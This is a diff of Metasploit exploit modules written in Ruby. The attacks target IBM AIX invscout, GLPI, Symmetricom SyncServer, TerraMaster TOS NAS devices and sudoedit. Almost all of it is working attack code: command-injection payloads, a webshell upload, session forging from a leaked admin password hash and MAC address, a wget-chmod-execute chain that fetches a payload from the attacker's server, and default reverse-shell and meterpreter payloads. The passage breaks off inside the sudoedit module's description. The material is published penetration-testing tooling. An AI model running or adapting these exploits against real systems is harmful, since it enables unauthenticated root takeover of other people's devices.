'invscout RPM Privilege Escalation', + 'Description' => %q{ + This module exploits a command injection vulnerability in IBM AIX + invscout set-uid root utility present in AIX 7.2 and earlier. + + The undocumented -rpm argument can be used to install an RPM file; + and the undocumented -o argument passes arguments to the rpm utility + without validation, leading to command injection with effective-uid + root privileges. + + This module has been tested successfully on AIX 7.2. + }, + 'Author' => [ + 'Tim Brown', # Discovery and PoC + 'bcoles' # Metasploit + ], + 'References' => [ + ['CVE', '2023-28528'], + ['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2023-1691'], + ], + 'Platform' => %w[unix aix], + 'Arch' => ARCH_CMD, + 'Payload' => { + 'BadChars' => "\x00\x0a\x0d\x22", + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic telnet openssl' + } + }, + 'DefaultOptions' => { + 'PrependSetresuid' => true, + 'PrependSetresgid' => true, + 'PrependFork' => true + }, + 'SessionTypes' => %w[shell meterpreter], + 'Targets' => [['Automatic', {}]], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2023-04-24', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options([ + OptString.new('INVSCOUT_PATH', [true, 'Path to invscout executable', '/usr/sbin/invscout']) + ]) + end + + def invscout_path + datastore['INVSCOUT_PATH'] + end + + def check + return CheckCode::Safe("#{invscout_path} is not executable") unless executable?(invscout_path) + + res = execute_command('id') + id = res.to_s.scan(/^(.*?uid=.*?)$/).flatten.first.to_s + + return CheckCode::Safe("#{invscout_path} is not vulnerable.") unless id.include?('euid=0') + + CheckCode::Vulnerable("Output: #{id}") + end + + def execute_command(cmd, _opts = {}) + rpm_path = "#{Rex::Text.rand_text_alphanumeric(8..12)}.rpm" + rpm_args = "; #{cmd}; echo " + res = cmd_exec("#{invscout_path} -RPM #{rpm_path} -o \"#{rpm_args}\"") + vprint_line(res) unless res.blank? + res + end + + def exploit + execute_command(payload.encoded) + end +end diff --git a/modules/exploits/linux/http/glpi_htmlawed_php_injection.rb b/modules/exploits/linux/http/glpi_htmlawed_php_injection.rb index 405b20b829c50..7857379bb53fa 100644 --- a/modules/exploits/linux/http/glpi_htmlawed_php_injection.rb +++ b/modules/exploits/linux/http/glpi_htmlawed_php_injection.rb @@ -30,18 +30,17 @@ def initialize(info = {}) ], 'Platform' => 'linux', 'Arch' => [ARCH_X64, ARCH_CMD], - 'CmdStagerFlavor' => [ 'printf' ], + 'CmdStagerFlavor' => [ 'printf', 'wget' ], 'Targets' => [ [ - 'Unix Command', + 'Nix Command', { - 'Platform' => 'unix', + 'Platform' => [ 'unix', 'linux' ], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp', - 'RPORT' => 80, - 'URIPATH' => '/glpi/' + 'RPORT' => 80 } } ], @@ -52,12 +51,11 @@ def initialize(info = {}) 'Arch' => [ARCH_X64], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', - 'RPORT' => 80, - 'URIPATH' => '/glpi/' + 'RPORT' => 80 }, 'Type' => :linux_dropper } - ], + ] ], 'DisclosureDate' => '2022-01-26', 'DefaultTarget' => 0, @@ -68,10 +66,15 @@ def initialize(info = {}) } ) ) + register_options( + [ + Msf::OptString.new('TARGET_URI', [ false, 'URI where glpi is hosted', '/glpi']) + ] + ) end def populate_values - uri = "#{datastore['URIPATH']}/vendor/htmlawed/htmlawed/htmLawedTest.php" + uri = "#{datastore['TARGET_URI']}/vendor/htmlawed/htmlawed/htmLawedTest.php" begin res = send_request_cgi({ 'method' => 'GET', @@ -93,7 +96,7 @@ def populate_values def execute_command(cmd, _opts = {}) populate_values if @sid.nil? || @token.nil? - uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php' + uri = datastore['TARGET_URI'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php' send_request_cgi({ 'method' => 'POST', diff --git a/modules/exploits/linux/http/symmetricom_syncserver_rce.rb b/modules/exploits/linux/http/symmetricom_syncserver_rce.rb new file mode 100644 index 0000000000000..f95a7b97d9899 --- /dev/null +++ b/modules/exploits/linux/http/symmetricom_syncserver_rce.rb @@ -0,0 +1,145 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit + Rank = ExcellentRanking + + include Msf::Exploit::EXE + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Symmetricom SyncServer Unauthenticated Remote Command Execution', + 'Description' => %q{ + This module exploits an unauthenticated command injection vulnerability in /controller/ping.php. + The S100 through S350 (End of Life) models should be vulnerable to + unauthenticated exploitation due to a session handling vulnerability. + Later models require authentication which is not provided in this module because we can't test it. + The command injection vulnerability is patched in the S650 v2.2 (CVE-2022-40022). + Run 'check' first to determine if vulnerable. + The server limits outbound ports. Ports 25 and 80 TCP were successfully used for SRVPORT + and LPORT while testing this module. + }, + 'Author' => [ + 'Steve Campbell', # @lpha3ch0 - Exploit PoC, Metasploit module + 'Justin Fatuch Apt4hax', # Exploit PoC + 'Robert Bronstein' # Metasploit Module + ], + 'References' => [ + ['CVE', '2022-40022'], + ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2022-40022'] + ], + 'DisclosureDate' => '2022-08-31', + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [ + [ 'Automatic', {} ], + ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ] + } + ) + ) + register_options( + [ + OptString.new('FILENAME', [true, 'Payload filename', 'payload.elf']), + OptAddress.new('SRVHOST', [true, 'HTTP Server Bind Address', '127.0.1.1']), + OptInt.new('SRVPORT', [true, 'HTTP Server Port', '4444']) + ], self.class + ) + end + + def primer; end + + def on_request_uri(cli, req) + @pl = generate_payload_exe + print_status("#{peer} - Payload request received: #{req.uri}") + send_response(cli, @pl) + end + + def check + uri = '/controller/ping.php' + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => + { + 'currentTab' => 'ping', + 'refreshMode' => 'dirty', + 'ethDirty' => 'false', + 'snmpCfgDirty' => 'false', + 'snmpTrapDirty' => 'false', + 'pingDirty' => 'true', + 'hostname' => "\`id\`", + 'port' => 'eth0', + 'pingType' => 'ping' + } + }) + if res && res.body.to_s =~ /uid=0/ + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def request(cmd) + uri = '/controller/ping.php' + send_request_cgi({ + 'method' => 'POST', + 'Content-Type' => 'application/x-www-form-encoded', + 'uri' => uri, + 'vars_post' => + { + 'currentTab' => 'ping', + 'refreshMode' => 'dirty', + 'ethDirty' => 'false', + 'snmpCfgDirty' => 'false', + 'snmpTrapDirty' => 'false', + 'pingDirty' => 'true', + 'hostname' => cmd, + 'port' => 'eth0', + 'pingType' => 'ping' + } + }) + end + + def exploit + srvhost = datastore['SRVHOST'] + srvport = datastore['SRVPORT'] + filename = datastore['FILENAME'] + resource_uri = '/' + filename + shell_path = '/tmp/' + cmds = [ + "\`wget${IFS}http://" + srvhost + ':' + srvport + '/' + filename + '${IFS}-O${IFS}' + shell_path + filename + "\`", + "\`chmod${IFS}700${IFS}" + shell_path + filename + "\`", + "\`" + shell_path + filename + "\`" + ] + start_service({ + 'Uri' => { + 'Proc' => proc { |cli, req| + on_request_uri(cli, req) + }, + 'Path' => resource_uri + } + }) + print_status("#{rhost}:#{rport} - Exploit started...") + print_status("#{rhost}:#{rport} - Sending wget command...") + request(cmds[0]) + sleep(3) + print_status("#{rhost}:#{rport} - Making payload executable...") + request(cmds[1]) + sleep(3) + print_status("#{rhost}:#{rport} - Executing payload...") + request(cmds[2]) + sleep(3) + end +end diff --git a/modules/exploits/linux/http/terramaster_unauth_rce_cve_2020_35665.rb b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2020_35665.rb new file mode 100644 index 0000000000000..d355537c9fd09 --- /dev/null +++ b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2020_35665.rb @@ -0,0 +1,207 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'TerraMaster TOS 4.2.06 or lower - Unauthenticated Remote Code Execution', + 'Description' => %q{ + This module exploits an unauthenticated remote code-execution vulnerability in TerraMaster TOS 4.2.06 + and lower via shell metacharacters in the Event parameter at vulnerable endpoint `include/makecvs.php` + during CSV creation. + Any unauthenticated user can therefore execute commands on the system under the same privileges as the + web application, which typically runs under root at the TerraMaster Operating System. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die-gr3y ', # MSF module contributor + 'IHTeam' # Discovery + ], + 'References' => [ + ['CVE', '2020-35665'], + ['CVE', '2020-28188'], + ['PACKETSTORM', '160685'], + ['PACKETSTORM', '160687'], + ['URL', 'https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/'], + ['URL', 'https://attackerkb.com/topics/lXY4yjOvwx/cve-2020-35665'] + ], + 'DisclosureDate' => '2020-12-12', + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86, ARCH_AARCH64], + 'Privileged' => false, + 'Targets' => [ + [ + 'PHP', + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Type' => :php, + 'DefaultOptions' => { + 'PAYLOAD' => 'php/meterpreter/reverse_tcp' + } + } + ], + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + } + ], + [ + 'Linux Dropper', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], + 'Type' => :linux_dropper, + 'CmdStagerFlavor' => ['printf', 'echo', 'bourne', 'wget', 'curl'], + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' + } + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 8181, + 'SSL' => false + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [true, 'Path to Terramaster Web console', '/']), + OptString.new('WEBSHELL', [false, 'Web shell name with extension .php. Name will be randomly generated if left unset.', nil]), + OptEnum.new('COMMAND', + [true, 'Use PHP command function', 'passthru', %w[passthru shell_exec system exec]], conditions: %w[TARGET != 0]) + ]) + end + + def upload_webshell + # randomize file name if option WEBSHELL is not set + @webshell_name = (datastore['WEBSHELL'].blank? ? "#{Rex::Text.rand_text_alpha(8..16)}.php" : datastore['WEBSHELL'].to_s) + + @post_param = Rex::Text.rand_text_alphanumeric(1..8) + @get_param = Rex::Text.rand_text_alphanumeric(1..8) + + # Upload PHP payload + webshell = if target['Type'] == :php + "http|echo \"\" > #{@webshell_name}||" + else + "http|echo \"\" > #{@webshell_name}||" + end + + return send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'include', 'makecvs.php'), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_get' => { + 'Event' => webshell.to_s + } + }) + end + + def get_terramaster_info + # get Terramaster CPU architecture (X64 or ARM64) and TOS version + @terramaster = {} + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'tos', 'index.php?user/login') + }) + + if res && res.body && res.code == 200 + # get the version information from the request response like below: + # + return if res.body.match(/ver=.+?"/).nil? + + version = res.body.match(/ver=.+?"/)[0] + # check if architecture is ARM64 or X64 + if version.match(/_A/) + @terramaster['cpu_arch'] = 'ARM64' + elsif version.match(/_S/) || version.match(/_Q/) + @terramaster['cpu_arch'] = 'X64' + else + @terramaster['cpu_arch'] = 'UNKNOWN' + end + + # strip TOS version number and remove trailing double quote. + @terramaster['tos_version'] = version.split('.0_')[1].chop + end + end + + def execute_php(cmd, _opts = {}) + payload = Base64.strict_encode64(cmd) + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'include', @webshell_name), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_post' => { + @post_param => payload + } + }) + end + + def execute_command(cmd, _opts = {}) + payload = Base64.strict_encode64(cmd) + php_cmd_function = datastore['COMMAND'] + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'include', @webshell_name), + 'ctype' => 'application/x-www-form-urlencoded', + 'vars_get' => { + @get_param => php_cmd_function + }, + 'vars_post' => { + @post_param => payload + } + }) + end + + def check + get_terramaster_info + return CheckCode::Safe if @terramaster.empty? + + if Rex::Version.new(@terramaster['tos_version']) <= Rex::Version.new('4.2.06') + return CheckCode::Vulnerable("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.") + else + return CheckCode::Safe("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.") + end + end + + def exploit + res = upload_webshell + fail_with(Failure::UnexpectedReply, 'Web shell upload error.') if res.nil? || (res.code != 200) + register_file_for_cleanup(@webshell_name.to_s) + + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :php + execute_php(payload.encoded) + when :unix_cmd + execute_command(payload.encoded) + when :linux_dropper + # Don't check the response here since the server won't respond + # if the payload is successfully executed. + execute_cmdstager(linemax: 65536) + end + end +end diff --git a/modules/exploits/linux/http/terramaster_unauth_rce_cve_2021_45837.rb b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2021_45837.rb new file mode 100644 index 0000000000000..d0dcc690915ae --- /dev/null +++ b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2021_45837.rb @@ -0,0 +1,275 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'digest/md5' +require 'time' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'TerraMaster TOS 4.2.15 or lower - RCE chain from unauthenticated to root via session crafting.', + 'Description' => %q{ + Terramaster chained exploit that performs session crafting to achieve escalated privileges that allows + an attacker to access vulnerable code execution flaws. TOS versions 4.2.15 and below are affected. + CVE-2021-45839 is exploited to obtain the first administrator's hash set up on the system as well as other + information such as MAC address, by performing a request to the `/module/api.php?mobile/webNasIPS` endpoint. + This information is used to craft an unauthenticated admin session using CVE-2021-45841 where an attacker + can self-sign session cookies by knowing the target MAC address and the user password hash. + Guest users (disabled by default) can be abused using a null/empty hash and allow an unauthenticated attacker + to login as guest. + Finally, CVE-2021-45837 is exploited to execute arbitrary commands as root by sending a specifically crafted + input to vulnerable endpoint `/tos/index.php?app/del`. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die-gr3y ', # MSF module contributor + 'n0tme' # Discovery and POC + ], + 'References' => [ + ['CVE', '2021-45837'], + ['CVE', '2021-45839'], + ['CVE', '2021-45841'], + ['URL', 'https://thatsn0tmy.site/posts/2021/12/how-to-summon-rces/'], + ['PACKETSTORM', '165399'], + ['URL', 'https://attackerkb.com/topics/8rNXrrjQNy/cve-2021-45837'] + ], + 'DisclosureDate' => '2021-12-24', + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86, ARCH_AARCH64], + 'Privileged' => true, + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + } + ], + [ + 'Linux Dropper', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], + 'Type' => :linux_dropper, + 'CmdStagerFlavor' => ['bourne', 'wget', 'curl'], + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' + } + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 8181, + 'SSL' => false + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [true, 'Path to Terramaster Web console', '/']) + ]) + end + + def get_data + # Initialise instance variable data to store the leaked data + @data = {} + + # Get the data by exploiting the LFI vulnerability through vulnerable endpoint `api.php?mobile/webNasIPS`. + # CVE-2021-458439 + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/webNasIPS'), + 'headers' => { + 'User-Agent' => 'TNAS', + 'User-Device' => 'TNAS' + } + }) + + if res && res.code == 200 && res.body.include?('webNasIPS successful') + # Parse the JSON response and get the data such as admin password hash and MAC address + res_json = res.get_json_document + unless res_json.blank? + @data['password'] = res_json['data'].split('PWD:')[1].split("\n")[0].strip + @data['mac'] = res_json['data'].split('mac":"')[1].split('"')[0].tr(':', '').strip + @data['key'] = @data['mac'][6..11] # last three MAC address entries + @data['timestamp'] = Time.new.to_i.to_s + # derive signature + @data['signature'] = tos_encrypt_str(@data['key'], @data['timestamp']) + end + end + end + + def tos_encrypt_str(key, str_to_encrypt) + id = key + str_to_encrypt + return Digest::MD5.hexdigest(id.encode('utf-8')) + end + + def get_headers + { + 'User-Agent' => 'TNAS', + 'User-Device' => 'TNAS', + 'Authorization' => @data['password'], + 'Signature' => @data['signature'], + 'Timestamp' => @data['timestamp'] + } + end + + def download_admin_users + # Initialise instance variable admin_users to store the admin users from /etc/group + @admin_users = [] + + # Download /etc/group information to find all the admin users belonging to the group admin. + # Using endpoint module/api.php?mobile/fileDownload as user guest allows to download the file without authentication. + # CVE-2021-45841 + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/fileDownload'), + 'ctype' => 'application/x-www-form-urlencoded', + 'cookie' => "kod_name=guest; kod_token=#{tos_encrypt_str(@data['key'], '')}", + 'headers' => get_headers, + 'vars_post' => { + 'path' => '/etc/group' + } + }) + # get the admin users from /etc/group + if res && res.code == 200 && res.body.include?('admin') + res.body.each_line do |line| + next if line.empty? + + field = line.split(':') + next unless field[0] == 'admin' + + @admin_users = field[3].strip.split(',') + break + end + end + end + + def get_session + # Use session crafting to iterate thru the list of admin users to gain a session. + # We will send two request per admin user. First request is a dummy request to obtain the session-id. + # This session-id will be used to send the second request that will execute the echo command with marker. + # if the response contains the marker, then the session has been successfully established. + # CVE-2021-45837 + session = false + marker = Rex::Text.rand_text_alphanumeric(8..16) + for admin in @admin_users + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;echo${IFS}#{marker};%23"), + 'ctype' => 'application/x-www-form-urlencoded', + 'keep_cookies' => true, + 'cookie' => "kod_name=#{admin}; kod_token=#{tos_encrypt_str(@data['key'], @data['password'])}", + 'headers' => get_headers + }) + if res && res.code == 302 && !res.body.include?(marker.to_s) + # Send second request to establish a session and break from the loop if true. + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;echo${IFS}#{marker};%23"), + 'ctype' => 'application/x-www-form-urlencoded', + 'keep_cookies' => true, + 'headers' => get_headers + }) + end + next unless res && res.code == 200 && res.body.include?(marker.to_s) + + session = true + break + end + session + end + + def get_terramaster_info + # get Terramaster CPU architecture (X64 or ARM64) and TOS version + @terramaster = {} + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'tos', 'index.php?user/login') + }) + + if res && res.body && res.code == 200 + # get the version information from the request response like below: + # + return if res.body.match(/ver=.+?"/).nil? + + version = res.body.match(/ver=.+?"/)[0] + # check if architecture is ARM64 or X64 + if version.match(/_A/) + @terramaster['cpu_arch'] = 'ARM64' + elsif version.match(/_S/) || version.match(/_Q/) + @terramaster['cpu_arch'] = 'X64' + else + @terramaster['cpu_arch'] = 'UNKNOWN' + end + + # strip TOS version number and remove trailing double quote. + @terramaster['tos_version'] = version.split('.0_')[1].chop + end + end + + def execute_command(cmd, _opts = {}) + # Execute payload using vulnerable endpoint `index.php?app/del&id=0&name=;;%23` + # CVE-2021-45837 + payload = CGI.escape(cmd) + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'tos', "index.php?app/del&id=0&name=;#{payload};%23"), + 'ctype' => 'application/x-www-form-urlencoded', + 'keep_cookies' => true, + 'headers' => get_headers + }) + end + + def check + get_terramaster_info + return CheckCode::Safe if @terramaster.empty? + + if Rex::Version.new(@terramaster['tos_version']) <= Rex::Version.new('4.2.15') + return CheckCode::Vulnerable("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.") + end + + CheckCode::Safe("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.") + end + + def exploit + # get the leaked data + get_data + fail_with(Failure::BadConfig, 'Can not retrieve the leaked data.') if @data.empty? + + download_admin_users + fail_with(Failure::BadConfig, 'Can not retrieve the list of admin users.') if @admin_users.empty? + + fail_with(Failure::NoAccess, 'Can not establish an admin session.') unless get_session + + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :unix_cmd + execute_command(payload.encoded) + when :linux_dropper + # Don't check the response here since the server won't respond + # if the payload is successfully executed. + execute_cmdstager(linemax: 65536) + end + end +end diff --git a/modules/exploits/linux/http/terramaster_unauth_rce_cve_2022_24990.rb b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2022_24990.rb new file mode 100644 index 0000000000000..3ed9a457222fc --- /dev/null +++ b/modules/exploits/linux/http/terramaster_unauth_rce_cve_2022_24990.rb @@ -0,0 +1,197 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'digest/md5' +require 'time' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'TerraMaster TOS 4.2.29 or lower - Unauthenticated RCE chaining CVE-2022-24990 and CVE-2022-24989', + 'Description' => %q{ + This module exploits an unauthenticated remote code execution vulnerability in TerraMaster TOS 4.2.29 + and lower by chaining two existing vulnerabilities, CVE-2022-24990 "Leaking sensitive information" + and CVE-2022-24989, "Authenticated remote code execution". + Exploiting vulnerable endpoint `api.php?mobile/webNasIPS` leaking sensitive information such as admin password + hash and mac address, the attacker can achieve unauthenticated access and use another vulnerable endpoint + `api.php?mobile/createRaid` with POST parameters `raidtype` and `diskstring` to execute remote code as root + on TerraMaster NAS devices. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die-gr3y ', # MSF module contributor + 'Octagon Networks', # Discovery + '0xf4n9x' # POC + ], + 'References' => [ + ['CVE', '2022-24990'], + ['CVE', '2022-24989'], + ['URL', 'https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/'], + ['URL', 'https://github.com/0xf4n9x/CVE-2022-24990'], + ['URL', 'https://attackerkb.com/topics/h8YKVKx21t/cve-2022-24990'] + ], + 'DisclosureDate' => '2022-03-07', + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86, ARCH_AARCH64], + 'Privileged' => true, + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + } + ], + [ + 'Linux Dropper', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], + 'Type' => :linux_dropper, + 'CmdStagerFlavor' => ['bourne', 'wget', 'curl'], + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' + } + } + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 8181, + 'SSL' => false + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [true, 'Path to Terramaster Web console', '/']) + ]) + end + + def get_data + # Initialise variable data to store the leaked data + @data = {} + + # Get the data by exploiting the LFI vulnerability through vulnerable endpoint `api.php?mobile/webNasIPS` + # CVE-2022-24990 + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/webNasIPS'), + 'headers' => { + 'User-Agent' => 'TNAS' + } + }) + if res && res.code == 200 && res.body.include?('webNasIPS successful') + # Parse the JSON response and get the data such as admin password hash and MAC address + res_json = res.get_json_document + unless res_json.blank? + @data['password'] = res_json['data'].split('PWD:')[1].split('SAT')[0].strip + @data['mac'] = res_json['data'].split('mac":"')[1].split('"')[0].tr(':', '').strip + @data['key'] = @data['mac'][6..11] # last three MAC address entries + @data['timestamp'] = Time.new.to_i.to_s + # derive signature + @data['signature'] = tos_encrypt_str(@data['key'], @data['timestamp']) + end + end + end + + def tos_encrypt_str(key, str_to_encrypt) + id = key + str_to_encrypt + return Digest::MD5.hexdigest(id.encode('utf-8')) + end + + def execute_command(cmd, _opts = {}) + # Execute RCE using vulnerable endpoint `api.php?mobile/createRaid` + # CVE-2022-24989 + diskstring = Rex::Text.rand_text_alpha_upper(4..8) + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'module', 'api.php?mobile/createRaid'), + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => { + 'User-Agent' => 'TNAS', + 'Authorization' => @data['password'], + 'Signature' => @data['signature'], + 'Timestamp' => @data['timestamp'] + }, + 'vars_post' => { + 'raidtype' => ';' + cmd, + 'diskstring' => diskstring.to_s + } + }) + end + + def get_terramaster_info + # get Terramaster CPU architecture (X64 or ARM64) and TOS version + @terramaster = {} + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'tos', 'index.php?user/login') + }) + + if res && res.body && res.code == 200 + # get the version information from the request response like below: + # + return if res.body.match(/ver=.+?"/).nil? + + version = res.body.match(/ver=.+?"/)[0] + # check if architecture is ARM64 or X64 + if version.match(/_A/) + @terramaster['cpu_arch'] = 'ARM64' + elsif version.match(/_S/) || version.match(/_Q/) + @terramaster['cpu_arch'] = 'X64' + else + @terramaster['cpu_arch'] = 'UNKNOWN' + end + + # strip TOS version number and remove trailing double quote. + @terramaster['tos_version'] = version.split('.0_')[1].chop + end + end + + def check + get_terramaster_info + return CheckCode::Safe if @terramaster.empty? + + if Rex::Version.new(@terramaster['tos_version']) <= Rex::Version.new('4.2.29') + return CheckCode::Vulnerable("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.") + end + + CheckCode::Safe("TOS version is #{@terramaster['tos_version']} and CPU architecture is #{@terramaster['cpu_arch']}.") + end + + def exploit + get_data + fail_with(Failure::BadConfig, 'Can not retrieve the leaked data.') if @data.empty? + + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :unix_cmd + execute_command(payload.encoded) + when :linux_dropper + # Don't check the response here since the server won't respond + # if the payload is successfully executed. + execute_cmdstager(linemax: 65536) + end + end +end diff --git a/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb b/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb new file mode 100644 index 0000000000000..3bebbccf1dbbe --- /dev/null +++ b/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb @@ -0,0 +1,241 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Sudoedit Extra Arguments Priv Esc', + 'Description' => %q{ + This exploit takes advantage of a vulnerability in sudoedit, part of the sudo package. + The sudoedit (aka sudo -e) feature mishandles extra arguments passed in the user-provided + environment variables (SUDO_EDITOR, VISUAL, and EDITOR), allowing a local attacker to + append arbitrary entries to the list of files to process. This can lead to privilege escalation. + by appending extra entries on /etc/sudoers allowing for execution of an arbitrary payload with root + privileges. + + Affected versions are 1.8.0 through 1.9.12.p1. However THIS module only works against Ubuntu + 22.04 and 